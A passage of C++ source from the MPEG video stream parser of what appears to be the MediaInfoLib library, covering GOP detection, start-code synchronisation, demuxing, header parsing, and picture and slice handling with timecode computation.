int64u MaxCount=0; int64u Total=0; string MaxCount_type; for (std::map<std::string, int64u>::iterator Temp=picture_coding_types.begin(); Temp!=picture_coding_types.end(); ++Temp) { if (Temp->second>MaxCount) { MaxCount=Temp->second; MaxCount_type=Temp->first; } Total+=Temp->second; } if (Total>=4) { int64u Count=0; for (std::map<std::string, int64u>::iterator Temp=picture_coding_types.begin(); Temp!=picture_coding_types.end(); ++Temp) if (Temp->first!=MaxCount_type) Count+=Temp->second; if (Count<Total/2 && Count<Config_VariableGopDetection_Occurences) { size_t M=1; size_t M_Max=1; for (size_t Pos=1; Pos<MaxCount_type.size(); Pos++) if (MaxCount_type[Pos]==__T('B')) { M++; if (M>M_Max) M_Max=M; } else M=1; Ztring GOP; if (M_Max>1) { GOP+=__T("M="); GOP+=Ztring::ToZtring(M_Max); GOP+=__T(", "); } GOP+=__T("N="); GOP+=Ztring::ToZtring(MaxCount_type.size()); Fill(Stream_Video, 0, Video_Format_Settings_GOP, GOP, true); } else Fill(Stream_Video, 0, Video_Format_Settings_GOP, "Variable", Unlimited, true, true); } } //InitDataNotRepeated #if MEDIAINFO_ADVANCED if (!InitDataNotRepeated_Optional && Config_InitDataNotRepeated_Occurences!=(int64u)-1) Fill(Stream_Video, 0, "InitDataRepeated", InitDataNotRepeated>=Config_InitDataNotRepeated_Occurences?"No":"Yes", Unlimited, true, true); #endif // MEDIAINFO_ADVANCED //Other parsers #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) if (GA94_03_Parser && !GA94_03_Parser->Status[IsFinished] && GA94_03_Parser->Status[IsAccepted]) Finish(GA94_03_Parser); if (CC___Parser && !CC___Parser->Status[IsFinished] && CC___Parser->Status[IsAccepted]) Finish(CC___Parser); #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_SCTE20_YES) if (Scte_Parser && !Scte_Parser->Status[IsFinished] && Scte_Parser->Status[IsAccepted]) Finish(Scte_Parser); #endif //defined(MEDIAINFO_SCTE20_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) if (DTG1_Parser && !DTG1_Parser->Status[IsFinished] && DTG1_Parser->Status[IsAccepted]) { Finish(DTG1_Parser); Merge(*DTG1_Parser, Stream_Video, 0, 0); } if (GA94_06_Parser && !GA94_06_Parser->Status[IsFinished] && GA94_06_Parser->Status[IsAccepted]) { Finish(GA94_06_Parser); Merge(*GA94_06_Parser, Stream_Video, 0, 0); } #endif //defined(MEDIAINFO_AFDBARDATA_YES) #if defined(MEDIAINFO_CDP_YES) if (Cdp_Parser && !Cdp_Parser->Status[IsFinished] && Cdp_Parser->Status[IsAccepted]) Finish(Cdp_Parser); #endif //defined(MEDIAINFO_CDP_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) if (AfdBarData_Parser && !AfdBarData_Parser->Status[IsFinished] && AfdBarData_Parser->Status[IsAccepted]) { Finish(AfdBarData_Parser); Merge(*AfdBarData_Parser, Stream_Video, 0, 0); } #endif //defined(MEDIAINFO_AFDBARDATA_YES) #if MEDIAINFO_IBIUSAGE int64u Numerator=0, Denominator=0; switch (frame_rate_code) { case 1 : Numerator=24000; Denominator=1001; break; case 2 : Numerator=24; Denominator=1; break; case 3 : Numerator=25; Denominator=1; break; case 4 : Numerator=30000; Denominator=1001; break; case 5 : Numerator=30; Denominator=1; break; case 6 : Numerator=50; Denominator=1; break; case 7 : Numerator=60000; Denominator=1001; break; case 8 : Numerator=60; Denominator=1; break; default: ; } if (Numerator) { Numerator*=frame_rate_extension_n+1; Denominator*=frame_rate_extension_d+1; Ibi_Stream_Finish(Numerator, Denominator); } #endif //MEDIAINFO_IBIUSAGE } //*************************************************************************** // Buffer - Synchro //*************************************************************************** //--------------------------------------------------------------------------- bool File_Mpegv::Synched_Test() { //Must have enough buffer for having header if (Buffer_Offset+4>Buffer_Size) return false; //Quick test of synchro if (Buffer[Buffer_Offset ]!=0x00 || Buffer[Buffer_Offset+1]!=0x00 || Buffer[Buffer_Offset+2]!=0x01) { Synched=false; return true; } //Quick search if (!Header_Parser_QuickSearch()) return false; #if MEDIAINFO_IBIUSAGE if ((Ibi_SliceParsed && (Buffer[Buffer_Offset+3]==0x00)) || Buffer[Buffer_Offset+3]==0xB3) // picture_start without sequence_header or sequence_header { if (Buffer_Offset+6>Buffer_Size) return false; bool RandomAccess=(Buffer[Buffer_Offset+5]&0x38)==0x08 || Buffer[Buffer_Offset+3]==0xB3; //picture_start with I-Frame || sequence_header if (RandomAccess) Ibi_Add(); Ibi_SliceParsed=false; } #endif //MEDIAINFO_IBIUSAGE //We continue return true; } //--------------------------------------------------------------------------- void File_Mpegv::Synched_Init() { //Temp BVOP_Count=0; progressive_frame_Count=0; Interlaced_Top=0; Interlaced_Bottom=0; PictureStructure_Field=0; PictureStructure_Frame=0; display_horizontal_size=0; display_vertical_size=0; vbv_delay=0; vbv_buffer_size_value=0; Time_Current_Seconds=Error; Time_Current_Frames=(int8u)-1; Time_Begin_Seconds=Error; Time_Begin_Frames=(int8u)-1; Time_End_Seconds=Error; Time_End_Frames=(int8u)-1; picture_coding_type=(int8u)-1; bit_rate_value=0; FrameRate=0; horizontal_size_value=0; vertical_size_value=0; bit_rate_extension=0; temporal_reference_Old=(int16u)-1; temporal_reference_Max=0; aspect_ratio_information=0; frame_rate_code=0; profile_and_level_indication_profile=(int8u)-1; profile_and_level_indication_level=(int8u)-1; chroma_format=1; //Default is 4:2:0 horizontal_size_extension=0; vertical_size_extension=0; frame_rate_extension_n=0; frame_rate_extension_d=0; video_format=5; //Unspecified video format colour_primaries=(int8u)-1; transfer_characteristics=(int8u)-1; matrix_coefficients=(int8u)-1; vbv_buffer_size_extension=0; intra_dc_precision=(int8u)-1; load_intra_quantiser_matrix=false; load_non_intra_quantiser_matrix=false; progressive_sequence=true; //progressive by default top_field_first=false; repeat_first_field=false; FirstFieldFound=false; group_start_IsParsed=false; group_start_FirstPass=false; PTS_LastIFrame=(int64u)-1; PTS_End_temporal_reference=(int16u)-1; bit_rate_value_IsValid=false; profile_and_level_indication_escape=false; colour_description=false; low_delay=false; RefFramesCount=0; BVOPsSinceLastRefFrames=0; temporal_reference_LastIFrame=0; tc=0; IFrame_IsParsed=false; IFrame_Count=0; #if MEDIAINFO_IBIUSAGE Ibi_SliceParsed=true; #endif //MEDIAINFO_IBIUSAGE #if MEDIAINFO_ADVANCED Config_VariableGopDetection_Occurences=MediaInfoLib::Config.VariableGopDetection_Occurences_Get(); Config_VariableGopDetection_GiveUp=MediaInfoLib::Config.VariableGopDetection_GiveUp_Get(); InitDataNotRepeated=0; Config_InitDataNotRepeated_Occurences=MediaInfoLib::Config.InitDataNotRepeated_Occurences_Get(); Config_InitDataNotRepeated_GiveUp=MediaInfoLib::Config.InitDataNotRepeated_GiveUp_Get(); #endif //MEDIAINFO_ADVANCED //Default stream values Streams.resize(0x100); Streams[0xB3].Searching_Payload=true; for (int8u Pos=0xFF; Pos>=0xB9; Pos--) Streams[Pos].Searching_Payload=true; //Testing MPEG-PS //Macroblocks #if MEDIAINFO_MACROBLOCKS Macroblocks_Parse=Config->File_Macroblocks_Parse_Get(); if (Macroblocks_Parse) { macroblock_address_increment_Vlc.Array=NULL; macroblock_address_increment_Vlc.Vlc=Mpegv_macroblock_address_increment; macroblock_address_increment_Vlc.Size=11; Get_VL_Prepare(macroblock_address_increment_Vlc); dct_dc_size_luminance.Array=NULL; dct_dc_size_luminance.Vlc=Mpegv_dct_dc_size_luminance; dct_dc_size_luminance.Size=9; Get_VL_Prepare(dct_dc_size_luminance); dct_dc_size_chrominance.Array=NULL; dct_dc_size_chrominance.Vlc=Mpegv_dct_dc_size_chrominance; dct_dc_size_chrominance.Size=10; Get_VL_Prepare(dct_dc_size_chrominance); dct_coefficients_0.Array=NULL; dct_coefficients_0.Vlc=Mpegv_dct_coefficients_0; dct_coefficients_0.Size=17; Get_VL_Prepare(dct_coefficients_0); dct_coefficients_1.Array=NULL; dct_coefficients_1.Vlc=Mpegv_dct_coefficients_1; dct_coefficients_1.Size=17; Get_VL_Prepare(dct_coefficients_1); macroblock_type_I.Array=NULL; macroblock_type_I.Vlc=Mpegv_macroblock_type_I; macroblock_type_I.Size=2; Get_VL_Prepare(macroblock_type_I); macroblock_type_P.Array=NULL; macroblock_type_P.Vlc=Mpegv_macroblock_type_P; macroblock_type_P.Size=6; Get_VL_Prepare(macroblock_type_P); macroblock_type_B.Array=NULL; macroblock_type_B.Vlc=Mpegv_macroblock_type_B; macroblock_type_B.Size=6; Get_VL_Prepare(macroblock_type_B); motion_code.Array=NULL; motion_code.Vlc=Mpegv_motion_code; motion_code.Size=11; Get_VL_Prepare(motion_code); dmvector.Array=NULL; dmvector.Vlc=Mpegv_dmvector; dmvector.Size=2; Get_VL_Prepare(dmvector); coded_block_pattern.Array=NULL; coded_block_pattern.Vlc=Mpegv_coded_block_pattern; coded_block_pattern.Size=9; Get_VL_Prepare(coded_block_pattern); } #endif //MEDIAINFO_MACROBLOCKS } //*************************************************************************** // Buffer - Demux //*************************************************************************** //--------------------------------------------------------------------------- #if MEDIAINFO_DEMUX bool File_Mpegv::Demux_UnpacketizeContainer_Test() { if ((Demux_IntermediateItemFound && Buffer[Buffer_Offset+3]==0x00) || Buffer[Buffer_Offset+3]==0xB3) { if (Demux_Offset==0) { Demux_Offset=Buffer_Offset; Demux_IntermediateItemFound=false; } if (IsSub && ParserIDs[0]==MediaInfo_Parser_Mxf) //TODO: find a better way to demux, currently implemeted this way because we need I-frame status info from MXF { Demux_Offset=Buffer_Size; Demux_IntermediateItemFound=true; } else { while (Demux_Offset+4<=Buffer_Size) { //Synchronizing while(Demux_Offset+4<=Buffer_Size && (Buffer[Demux_Offset ]!=0x00 || Buffer[Demux_Offset+1]!=0x00 || Buffer[Demux_Offset+2]!=0x01)) { Demux_Offset+=2; while(Demux_Offset<Buffer_Size && Buffer[Buffer_Offset]!=0x00) Demux_Offset+=2; if (Demux_Offset>=Buffer_Size || Buffer[Demux_Offset-1]==0x00) Demux_Offset--; } if (Demux_Offset+4>Buffer_Size) { if (File_Offset+Buffer_Size==File_Size) Demux_Offset=Buffer_Size; break; } if (Demux_IntermediateItemFound) { bool MustBreak; switch (Buffer[Demux_Offset+3]) { case 0x00 : case 0xB3 : MustBreak=true; break; default : Demux_Offset+=3; MustBreak=false; } if (MustBreak) break; //while() loop } else { if (!Buffer[Demux_Offset+3]) Demux_IntermediateItemFound=true; } Demux_Offset++; } if (Demux_Offset+4>Buffer_Size && File_Offset+Buffer_Size!=File_Size) return false; //No complete frame } bool RandomAccess=Buffer[Buffer_Offset+3]==0xB3; if (!Status[IsAccepted]) { if (Config->Demux_EventWasSent) return false; File_Mpegv* MI=new File_Mpegv; Element_Code=(int64u)-1; Open_Buffer_Init(MI); Open_Buffer_Continue(MI, Buffer, Buffer_Size); bool IsOk=MI->Status[IsAccepted]; delete MI; if (!IsOk) return false; } if (IFrame_IsParsed || RandomAccess) Demux_UnpacketizeContainer_Demux(RandomAccess); else Demux_UnpacketizeContainer_Demux_Clear(); } return true; } #endif //MEDIAINFO_DEMUX //*************************************************************************** // Buffer - Global //*************************************************************************** //--------------------------------------------------------------------------- void File_Mpegv::Read_Buffer_Unsynched() { for (int8u Pos=0x00; Pos<0xB9; Pos++) { Streams[Pos].Searching_Payload=false; Streams[Pos].Searching_TimeStamp_Start=false; Streams[Pos].Searching_TimeStamp_End=false; } Streams[0xB3].Searching_TimeStamp_End=true; //sequence_header Streams[0xB8].Searching_TimeStamp_End=true; //group_start Time_End_Seconds=Error; Time_End_Frames=(int8u)-1; RefFramesCount=0; sequence_header_IsParsed=false; group_start_IsParsed=false; PTS_LastIFrame=(int64u)-1; IFrame_IsParsed=false; picture_coding_types_Current.clear(); #if MEDIAINFO_IBIUSAGE Ibi_SliceParsed=true; #endif //MEDIAINFO_IBIUSAGE #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { macroblock_x_PerFrame=0; macroblock_y_PerFrame=0; } #endif //MEDIAINFO_MACROBLOCKS temporal_reference_Old=(int16u)-1; for (size_t Pos=0; Pos<TemporalReference.size(); Pos++) delete TemporalReference[Pos]; //TemporalReference[Pos]=NULL; TemporalReference.clear(); TemporalReference_Offset=0; #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) GA94_03_TemporalReference_Offset=0; if (GA94_03_Parser) GA94_03_Parser->Open_Buffer_Unsynch(); if (CC___Parser) CC___Parser->Open_Buffer_Unsynch(); #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_SCTE20_YES) Scte_TemporalReference_Offset=0; if (Scte_Parser) Scte_Parser->Open_Buffer_Unsynch(); #endif //defined(MEDIAINFO_SCTE20_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) if (DTG1_Parser) DTG1_Parser->Open_Buffer_Unsynch(); if (GA94_06_Parser) GA94_06_Parser->Open_Buffer_Unsynch(); #endif //defined(MEDIAINFO_AFDBARDATA_YES) #if defined(MEDIAINFO_CDP_YES) if (Cdp_Parser) Cdp_Parser->Open_Buffer_Unsynch(); #endif //defined(MEDIAINFO_CDP_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) if (AfdBarData_Parser) AfdBarData_Parser->Open_Buffer_Unsynch(); #endif //defined(MEDIAINFO_AFDBARDATA_YES) #if defined(MEDIAINFO_ANCILLARY_YES) if (Ancillary && *Ancillary && (*Ancillary)->Cdp_Data.empty()) (*Ancillary)->AspectRatio=0; #endif //defined(MEDIAINFO_ANCILLARY_YES) //NextCode if (!Status[IsAccepted]) { NextCode_Clear(); NextCode_Add(0xB3); NextCode_Add(0xB8); } } //*************************************************************************** // Buffer - Per element //*************************************************************************** //--------------------------------------------------------------------------- void File_Mpegv::Header_Parse() { #if MEDIAINFO_TRACE if (Trace_Activated) { //Parsing int8u start_code; Skip_B3( "synchro"); Get_B1 (start_code, "start_code"); if (!Header_Parser_Fill_Size()) { Element_WaitForMoreData(); return; } //Filling Header_Fill_Code(start_code, Ztring().From_CC1(start_code)); } else { #endif //MEDIAINFO_TRACE //Parsing int8u start_code=Buffer[Buffer_Offset+3]; Element_Offset+=4; if (!Header_Parser_Fill_Size()) { Element_WaitForMoreData(); return; } //Filling Header_Fill_Code(start_code, Ztring().From_CC1(start_code)); #if MEDIAINFO_TRACE } #endif //MEDIAINFO_TRACE } //--------------------------------------------------------------------------- bool File_Mpegv::Header_Parser_Fill_Size() { //Look for next Sync word if (Buffer_Offset_Temp==0) //Buffer_Offset_Temp is not 0 if Header_Parse_Fill_Size() has already parsed first frames Buffer_Offset_Temp=Buffer_Offset+4; while (Buffer_Offset_Temp+4<=Buffer_Size && CC3(Buffer+Buffer_Offset_Temp)!=0x000001) { Buffer_Offset_Temp+=2; while(Buffer_Offset_Temp<Buffer_Size && Buffer[Buffer_Offset_Temp]!=0x00) Buffer_Offset_Temp+=2; if (Buffer_Offset_Temp>=Buffer_Size || Buffer[Buffer_Offset_Temp-1]==0x00) Buffer_Offset_Temp--; } //Must wait more data? if (Buffer_Offset_Temp+4>Buffer_Size) { if (FrameIsAlwaysComplete || File_Offset+Buffer_Size==File_Size) Buffer_Offset_Temp=Buffer_Size; //We are sure that the next bytes are a start else return false; } //OK, we continue Header_Fill_Size(Buffer_Offset_Temp-Buffer_Offset); Buffer_Offset_Temp=0; return true; } //--------------------------------------------------------------------------- bool File_Mpegv::Header_Parser_QuickSearch() { while ( Buffer_Offset+4<=Buffer_Size && Buffer[Buffer_Offset ]==0x00 && Buffer[Buffer_Offset+1]==0x00 && Buffer[Buffer_Offset+2]==0x01) { //Getting start_code int8u start_code=Buffer[Buffer_Offset+3]; //Searching start or timestamp if (Streams[start_code].Searching_Payload || Streams[start_code].Searching_TimeStamp_Start || Streams[start_code].Searching_TimeStamp_End) return true; #if MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS if (start_code==0xB3) // sequence_header { // Has_sequence_header=true; } if (start_code==0xB5) // extension_start { if (Buffer_Offset+5>Buffer_Size) return false; if ((Buffer[Buffer_Offset+4]&0xF0)==0x10) // sequence_extension Has_sequence_extension=true; } #endif // MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS //Synchronizing Buffer_Offset+=4; Synched=false; if (!Synchronize()) { UnSynched_IsNotJunk=true; return false; } if (Buffer_Offset+4>Buffer_Size) { UnSynched_IsNotJunk=true; return false; } } Trusted_IsNot("MPEG Video, Synchronisation lost"); return Synchronize(); } //--------------------------------------------------------------------------- void File_Mpegv::Data_Parse() { //Parsing switch (Element_Code) { case 0x00: picture_start(); break; case 0xB0: Skip_XX(Element_Size, "Unknown"); break; case 0xB1: Skip_XX(Element_Size, "Unknown"); break; case 0xB2: user_data_start(); break; case 0xB3: sequence_header(); break; case 0xB4: sequence_error(); break; case 0xB5: extension_start(); break; case 0xB6: Skip_XX(Element_Size, "Unknown"); break; case 0xB7: sequence_end(); break; case 0xB8: group_start(); break; default: if (Element_Code>=0x01 && Element_Code<=0xAF) slice_start(); else Trusted_IsNot("Unattended element"); } } //*************************************************************************** // EOF //*************************************************************************** //--------------------------------------------------------------------------- void File_Mpegv::Detect_EOF() { if ((IsSub && Status[IsFilled]) || (!IsSub && File_Size>SizeToAnalyse_Begin+SizeToAnalyse_End && File_Offset+Buffer_Offset+Element_Offset>SizeToAnalyse_Begin && File_Offset+Buffer_Offset+Element_Offset<File_Size-SizeToAnalyse_End && Config->ParseSpeed<=0.5)) { if (MustExtendParsingDuration && Frame_Count<Frame_Count_Valid && !(!IsSub && File_Size>SizeToAnalyse_Begin*10+SizeToAnalyse_End*10 && File_Offset+Buffer_Offset+Element_Offset>SizeToAnalyse_Begin*10 && File_Offset+Buffer_Offset+Element_Offset<File_Size-SizeToAnalyse_End*10)) { #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) || defined(MEDIAINFO_SCTE20_YES) || (defined(MEDIAINFO_GXF_YES) && defined(MEDIAINFO_CDP_YES)) Streams[0x00].Searching_Payload=GA94_03_IsPresent || Cdp_IsPresent; Streams[0xB2].Searching_Payload=GA94_03_IsPresent || CC___IsPresent || Scte_IsPresent; Streams[0xB3].Searching_Payload=GA94_03_IsPresent || Cdp_IsPresent; #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) || defined(MEDIAINFO_SCTE20_YES) || (defined(MEDIAINFO_GXF_YES) && defined(MEDIAINFO_CDP_YES)) return; } // Time_End_Seconds=Error; Time_End_Frames=(int8u)-1; //Autorisation of other streams if (!IsSub) Streams[0x00].Searching_TimeStamp_End=false; //Jumping if (!Status[IsFilled]) Fill("MPEG Video"); if (!IsSub) Open_Buffer_Unsynch(); GoToFromEnd(SizeToAnalyse_End, "MPEG Video"); EOF_AlreadyDetected=true; //Sometimes called from Filling } } //*************************************************************************** // Elements //*************************************************************************** //--------------------------------------------------------------------------- // Packet "00" void File_Mpegv::picture_start() { Element_Name("picture_start"); //Coherency if (!Status[IsAccepted]) { if (!NextCode_Test()) return; } //Parsing int8u picture_coding_type_Old=picture_coding_type; BS_Begin(); Get_S2 (10, temporal_reference, "temporal_reference"); Get_S1 ( 3, picture_coding_type, "picture_coding_type"); Param_Info1(Mpegv_picture_coding_type[picture_coding_type]); Get_S2 (16, vbv_delay, "vbv_delay"); if (picture_coding_type==2 || picture_coding_type==3) //P or B { Skip_S1(1, "full_pel_forward_vector"); Skip_S1(3, "forward_f_code"); } if (picture_coding_type==3) //B { Skip_S1(1, "full_pel_backward_vector"); Skip_S1(3, "backward_f_code"); } bool extra_bit_picture; do { Peek_SB(extra_bit_picture); if (extra_bit_picture) { Skip_S1(1, "extra_bit_picture"); Skip_S1(8, "extra_information_picture"); } } while (extra_bit_picture); BS_End(); FILLING_BEGIN(); if (picture_coding_type==1) Frame_Count_LastIFrame=Frame_Count_NotParsedIncluded; #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { macroblock_x_PerFrame=0; macroblock_y_PerFrame=0; } #endif //MEDIAINFO_MACROBLOCKS #if MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS Slices_Count=0; #endif // MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS #if MEDIAINFO_EVENTS { EVENT_BEGIN (Video, SliceInfo, 0) Event.FieldPosition=Field_Count; Event.SlicePosition=0; switch (picture_coding_type) { case 1 : Event.SliceType=0; break; case 2 : Event.SliceType=1; break; case 3 : Event.SliceType=2; break; default: Event.SliceType=(int8u)-1; } Event.Flags=0; EVENT_END () } #endif //MEDIAINFO_EVENTS //Detection of first I-Frame if (!IFrame_IsParsed) { if (picture_coding_type==1 || picture_coding_type==4) //I-Frame or D-Frame IFrame_IsParsed=true; } if (Frame_Count_LastIFrame!=(int64u)-1) FrameNumber_PresentationOrder=Frame_Count_LastIFrame+temporal_reference; //Config progressive_frame=true; picture_structure=3; //Frame is default #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { spatial_temporal_weight_code_table_index=0; f_code[0][0]=0; f_code[0][1]=0; f_code[1][0]=0; f_code[1][1]=0; sequence_scalable_extension_Present=false; frame_pred_frame_dct=false; concealment_motion_vectors=false; intra_vlc_format=false; } #endif //MEDIAINFO_MACROBLOCKS //Temporal reference if (TemporalReference_Offset+temporal_reference>=TemporalReference.size()) TemporalReference.resize(TemporalReference_Offset+temporal_reference+1); if (TemporalReference[TemporalReference_Offset+temporal_reference]==NULL) TemporalReference[TemporalReference_Offset+temporal_reference]=new temporalreference; TemporalReference[TemporalReference_Offset+temporal_reference]->IsValid=true; //picture_coding_types if (picture_coding_type==1) //I-Frame { if (!picture_coding_types_Current.empty()) { picture_coding_types[picture_coding_types_Current]++; #if MEDIAINFO_ADVANCED // Testing if we must give up if (Config_VariableGopDetection_GiveUp && picture_coding_types.size()>1) { int64u MaxCount=0; string MaxCount_type; for (std::map<std::string, int64u>::iterator Temp=picture_coding_types.begin(); Temp!=picture_coding_types.end(); ++Temp) if (Temp->second>MaxCount) { MaxCount=Temp->second; MaxCount_type=Temp->first; } int64u Count=0; for (std::map<std::string, int64u>::iterator Temp=picture_coding_types.begin(); Temp!=picture_coding_types.end(); ++Temp) if (Temp->first!=MaxCount_type) Count+=Temp->second; if (Count>=Config_VariableGopDetection_Occurences) Config->ParseSpeed=0; // Give up } #endif // MEDIAINFO_ADVANCED } picture_coding_types_Current='I'; } else if (!picture_coding_types_Current.empty()) //If an I-Frame is already found picture_coding_types_Current+=Mpegv_picture_coding_type[picture_coding_type]; //Detecting streams with only I-Frames if (picture_coding_type==1 && picture_coding_type_Old==1 && !FirstFieldFound) temporal_reference_Old=(int16u)-1; //Resetting temporal_reference_Old //NextCode if (!Status[IsAccepted]) { NextCode_Clear(); for (int64u Element_Name_Next=0x01; Element_Name_Next<=0xAF; Element_Name_Next++) NextCode_Add(Element_Name_Next); NextCode_Add(0xB2); NextCode_Add(0xB5); NextCode_Add(0xB8); } //Autorisation of other streams for (int8u Pos=0x01; Pos<=0xAF; Pos++) Streams[Pos].Searching_Payload=true; FILLING_END(); } //--------------------------------------------------------------------------- // Packet "01" --> "AF" void File_Mpegv::slice_start() { //Encryption management if (CA_system_ID_MustSkipSlices) { //Is not decodable Finish("MPEG Video"); return; } if (!Status[IsAccepted]) { if (!NextCode_Test()) return; } Element_Name("slice_start"); //Parsing #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse && MPEG_Version==2) { BS_Begin(); bool intra_slice_flag; if (0x1000*vertical_size_extension+vertical_size_value>2800) //vertical_size Skip_S1(3, "slice_vertical_position_extension"); if (sequence_scalable_extension_Present) Skip_S1(7, "priority_breakpoint"); Skip_S1(5, "quantiser_scale_code"); Peek_SB(intra_slice_flag); if (intra_slice_flag) { Skip_SB( "intra_slice_flag"); Skip_SB( "intra_slice"); Skip_S1(7, "reserved_bits"); for (;;) { bool extra_bit_slice; Peek_SB(extra_bit_slice); if (extra_bit_slice) { Skip_S1(8, "extra_information_slice"); } else break; if (!Data_BS_Remain()) { Trusted_IsNot("extra_bit_slice is missing"); return; } } } Skip_SB( "extra_bit_slice (must be 0)"); macroblock_x=(int64u)-1; while (Synched) //Synched: testing if this is still valid { int8u Remain; if (Data_BS_Remain()%8) Peek_S1(Data_BS_Remain()%8, Remain); else if (Data_Remain()) Remain=Buffer[Buffer_Offset+(size_t)(Element_Size-Data_Remain())]; else Remain=0; if (Remain==0) { int32u Remain3; size_t Bits=Data_BS_Remain(); if (Bits>23) Bits=23; Peek_S3((int8u)Bits, Remain3); if (Remain3==0) break; } slice_start_macroblock(); } if (Data_BS_Remain()) Skip_BS(Data_BS_Remain(), "padding"); BS_End(); } else #endif //MEDIAINFO_MACROBLOCK Skip_XX(Element_Size, "data"); FILLING_BEGIN(); int64u tc_ToAdd=tc/((progressive_sequence || picture_structure==3)?1:2); //Progressive of Frame //Timestamp if (!TimeCodeIsNotTrustable && group_start_FirstPass && (Time_Begin_Seconds==Error || (Frame_Count<16 && Time_Current_Seconds*FrameRate+Time_Current_Frames+temporal_reference<Time_Begin_Seconds*FrameRate+Time_Begin_Frames))) //Accepting a lower time code at the beginning of the stream { Time_Begin_Seconds=Time_Current_Seconds; Time_Begin_Frames =Time_Current_Frames+(int8u)temporal_reference; } if (!TimeCodeIsNotTrustable && (Time_Current_Seconds<Time_Begin_Seconds || (Time_Current_Seconds==Time_Begin_Seconds && Time_Current_Frames+(int8u)temporal_reference<Time_Begin_Frames))) { //Time code loop TimeCodeIsNotTrustable=true; Time_End_Seconds=(size_t)-1; } if (!TimeCodeIsNotTrustable && (picture_coding_type==1 || picture_coding_type==2)) //IFrame or PFrame { Time_End_Seconds=Time_Current_Seconds; Time_End_Frames =Time_Current_Frames+(int8u)temporal_reference; } if (temporal_reference==temporal_reference_Old) { Frame_Count--; if (IFrame_IsParsed && Frame_Count_NotParsedIncluded!=(int64u)-1) Frame_Count_NotParsedIncluded--; Frame_Count_InThisBlock--; if (FrameInfo.DTS!=(int64u)-1) FrameInfo.DTS-=tc_ToAdd; if (FrameInfo.PTS!=(int64u)-1) FrameInfo.PTS-=tc_ToAdd; } else { temporal_reference_Old=temporal_reference; if (temporal_reference_Max<temporal_reference) temporal_reference_Max=temporal_reference; } if (picture_coding_type==1) //IFrame { temporal_reference_LastIFrame=temporal_reference; PTS_LastIFrame=FrameInfo.PTS; IFrame_Count++; } if (PTS_LastIFrame!=(int64u)-1) { FrameInfo.PTS=PTS_LastIFrame+(temporal_reference-temporal_reference_LastIFrame)*tc; if ((PTS_Begin==(int64u)-1 && picture_coding_type==1) //IFrame || (IFrame_Count<2 && group_start_IsParsed && group_start_closed_gop && FrameInfo.PTS<PTS_Begin)) PTS_Begin=FrameInfo.PTS; } //Info #if MEDIAINFO_TRACE if (Trace_Activated) { Element_Info1(__T("Frame (decoding order) ")+Ztring::ToZtring(Frame_Count)); if (Frame_Count_LastIFrame!=(int64u)-1) Element_Info1(__T("Frame (presentation order) ")+Ztring::ToZtring(Frame_Count_LastIFrame+temporal_reference)); Element_Info1(__T("picture_coding_type ")+Ztring().From_Local(Mpegv_picture_coding_type[picture_coding_type])); Element_Info1(__T("temporal_reference ")+Ztring::ToZtring(temporal_reference)); if (FrameInfo.PTS!=(int64u)-1) Element_Info1(__T("PTS ")+Ztring().Duration_From_Milliseconds(float64_int64s(((float64)FrameInfo.PTS)/1000000))); if (FrameInfo.DTS!=(int64u)-1) Element_Info1(__T("DTS ")+Ztring().Duration_From_Milliseconds(float64_int64s(((float64)FrameInfo.DTS)/1000000))); if (Time_End_Seconds!=Error) { int64u Time_End =Time_End_Seconds *1000; if (FrameRate) Time_End +=float32_int32s((Time_Current_Frames+temporal_reference)*1000/FrameRate); size_t Hours =(size_t) Time_End/60/60/1000; size_t Minutes=(size_t)(Time_End-(Hours*60*60*1000))/60/1000; size_t Seconds=(size_t)(Time_End-(Hours*60*60*1000)-(Minutes*60*1000))/1000; size_t Milli =(size_t)(Time_End-(Hours*60*60*1000)-(Minutes*60*1000)-(Seconds*1000)); Ztring Time; Time+=Ztring::ToZtring(Hours); Time+=__T(':'); Time+=Ztring::ToZtring(Minutes); Time+=__T(':'); Time+=Ztring::ToZtring(Seconds); if (FrameRate!=0) { Time+=__T('.'); Time+=Ztring::ToZtring(Milli); } Element_Info1(__T("time_code ")+Time); } } #endif //MEDIAINFO_TRACE //CDP #if defined(MEDIAINFO_CDP_YES) if (Ancillary) { Cdp_IsPresent=true; MustExtendParsingDuration=true; Buffer_TotalBytes_Fill_Max=(int64u)-1; //Disabling this feature for this format, this is done in the parser Element_Trace_Begin1("CDP"); if ((*Ancillary)==NULL) (*Ancillary)=new File_Ancillary(); (*Ancillary)->AspectRatio=MPEG_Version==1?Mpegv_aspect_ratio1[aspect_ratio_information]:Mpegv_aspect_ratio2[aspect_ratio_information]; (*Ancillary)->FrameRate=FrameRate; if ((*Ancillary)->PTS_DTS_Needed) (*Ancillary)->FrameInfo.DTS=FrameInfo.DTS; if ((*Ancillary)->Status[IsAccepted]) //In order to test if there is a parser using ancillary data Open_Buffer_Continue((*Ancillary), Buffer+Buffer_Offset, 0); Element_Trace_End0(); } #endif //defined(MEDIAINFO_CDP_YES) //Active Format Description & Bar Data #if defined(MEDIAINFO_AFDBARDATA_YES) if (Ancillary && *Ancillary && !(*Ancillary)->AfdBarData_Data.empty()) { Element_Trace_Begin1("Active Format Description & Bar Data"); //Parsing if (AfdBarData_Parser==NULL) { AfdBarData_Parser=new File_AfdBarData; Open_Buffer_Init(AfdBarData_Parser); ((File_AfdBarData*)AfdBarData_Parser)->Format=File_AfdBarData::Format_S2016_3; } if (AfdBarData_Parser->PTS_DTS_Needed) AfdBarData_Parser->FrameInfo.DTS=FrameInfo.DTS; if (!AfdBarData_Parser->Status[IsFinished]) Open_Buffer_Continue(AfdBarData_Parser, 